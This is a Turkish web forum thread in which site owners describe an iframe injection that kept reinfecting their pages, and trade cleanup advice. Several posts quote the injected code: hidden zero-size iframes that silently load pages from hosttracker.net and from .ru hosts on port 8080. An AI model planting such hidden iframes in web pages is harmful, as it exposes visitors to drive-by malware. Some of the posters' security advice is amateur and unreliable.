Benım sitemede bu virüs bulasmıs durumda arkadaslar ne yapmalıyım YARDIM lutfen
Kod:
Warning: file_get_contents(addtext.txt) [function.file-get-contents]: failed to open stream: No such file or directory in /home/reddii/domains/reddii.org/public_html/frr2/bcmd.php on line 108
Arkadaslar bu frame virusu benim basimi fena yakti,aklima geldikce kahroluyorum serverdeki tüm index.html lere bulasiyordu,temizlemekte care etmiyordu yerine ertesi gün geri geliyordu,son care olarak 3000 üyeli sitemi silmek zorunda kaldim hem Google uyardi kara listeye almisti olacak gibi degildi.. baglanti yaptigin diger serverlerede bulasiyordu
ne oldugunu anlamadik sunucumuzun basini agrittik sorun bizde degil sizde dedi her Virus programini denedik yinede bilgisayarimizda birsey bulamadik..
Siteyi sildikten sonra yine yeni site kurdum ayni sekilde frame atmaya devam etti, anlayacaginiz görünmez bir script PC nize bulasiyor, o Sitemin baya bircok icerik kaybim oldu simdi yavas yavas kendimi toplarladim sayilir,bu olay benim basima Mayis 2007 de geldi,o zamanlari tüm nuke sitelerinde sordum yanit alamamistim,simdi bu konuyu görünce paylasiyim dedim
bu Virusun serverin PHP sürümünden acigindan girebilecegini söyledi sunucum, yeni sürüm PHP 5.0 servere gectim sorun ortadan kalkti,buarada birde bilgisayarima malla oldu temizleyemedim :)
Kaspersky 7.0 virüsü engelliyor silmiyor benim pc de şu anda 4 tane antivirüs var kaspersky + nod32 + avast + antivir. virüs indiğinde sadece kaspersky ve antivir devreye giriyor kaspersky silmiyor siteden atıyor ama virüs inebiliyor antirvir siteden atıyor ve dosyada bırakmıyor insin.. antivir 1 -0 önde yane..
sadece meraktan soruyorum yanlış anlamayın, makinanızın özellikleri nedir işlemcisi falan. birde bunlarla beraber harici firewall kullanıyormusunuz..
kesio beee nod32 ile beraber kaspersky kullanamaz ki !! sende yutmuşsun
Kaspersky 7.0 virüsü engelliyor silmiyor benim pc de şu anda 4 tane antivirüs var kaspersky + nod32 + avast + antivir. virüs indiğinde sadece kaspersky ve antivir devreye giriyor kaspersky silmiyor siteden atıyor ama virüs inebiliyor antirvir siteden atıyor ve dosyada bırakmıyor insin.. antivir 1 -0 önde yane..
nod32 le beraber kasperskye ı nasıl kurabiliorsun onunla beraber avast + antivir ! git çocuk kandır sen yaa
sitenizde bulunan üst player (aquamp) kaldırın ve içine script kodu atılmış dosyalarınızın içerisinde yer alan script kodlarını siliniz bir daha istesede gelemez...
Yaklaşık bir ay önce sitemi servage.net e taşıdım . sitem yavaş açılıyordu. sonra sitem hepten açılmaz oldu. hasbel kader olayın ne olduğunu araştırırken . index.php içinde
Kod:
<i f r a m e src=\"http://hosttracker.net/?click=1110328\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></i f r a m e>
diye bir kod gördüm. arkadaşa sordum nedir bu diye
tabi ondan önce sitem birinci soradan gitti 4, 5, sıraya .
şu üst player bendede var işte benim index.html ve php lere bulaşan kodlar
Kod:
<i f r a m e frameborder="0" onload="if (!this.src){ this.src='http://lifedrom.ru:8080/index.php'; this.height='0'; this.width='0';}" >akyhvhyjhdkdonsnosoid
<i f r a m e frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >efxdpjewjpsyytwnhcfs
<i f r a m e frameborder="0" onload="if (!this.src){ this.src='http://iqckly.ru:8080/index.php'; this.height='0'; this.width='0';}" >nokkxrqbkoowjfjayol
<i f r a m e frameborder="0" onload="if (!this.src){ this.src='http://iqckly.ru:8080/index.php'; this.height='0'; this.width='0';}" >vrtkiswydelvbtcacp
<i f r a m e frameborder="0" onload="if (!this.src){ this.src='http://iqckly.ru:8080/index.php'; this.height='0'; this.width='0';}" >tjjpfpuqjgzekpjcpblsepvrexpsaxe</i f r a m e>
kimisinin en altında siliyorum oluyor ama bazı yerlede
misal hesaplar modülünün indexsini ortasına atmış
orjinal modül index.php 1766 satır
hacklenmiş index. php 1586. satırdan bitilyo sonuna da
Kod:
<i f r a m e frameborder="0" onload="if (!this.src){ this.src='http://iqckly.ru:8080/index.php'; this.height='0'; this.width='0';}" >tjjpfpuqjgzekpjcpblsepvrexpsaxe</i f r a m e>
ekmeliş
daha arka kodlar yok..
eski yedeklerimi bulabilirsem üzerine atacam.. bakalım ne olacak
arkadaslar bu sorunuzun cevabını su sekıdle bulabılrısınız kullanmakta olduğunuz ftp programau cute ftp ve medya palayerınızden dır bunda yapmanız gereken bırs sefere mahsus temızleyın ardından hemen ftp sıfrelerını değişin ve sıtenızde upluad sıstemı varsa .htacces dosyası olusturun upload yaptığınız klasore sorununuz cozulecektır eger cozemezssenız yazın bılgıleırnız sıze yardımcı olayım kolaygelsın
Tüm zamanlar GMT + 3 Saat Sayfaya git Önceki1, 2, 3, 4
4. sayfa (Toplam 4 sayfa)
Bu forumda yeni başlıklar açamazsınız Bu forumdaki başlıklara cevap veremezsiniz Bu forumdaki mesajlarınızı değiştiremezsiniz Bu forumdaki mesajlarınızı silemezsiniz Bu forumdaki anketlerde oy kullanamazsınız
Arama
Rütbeliler
Profil
Giriş
:)
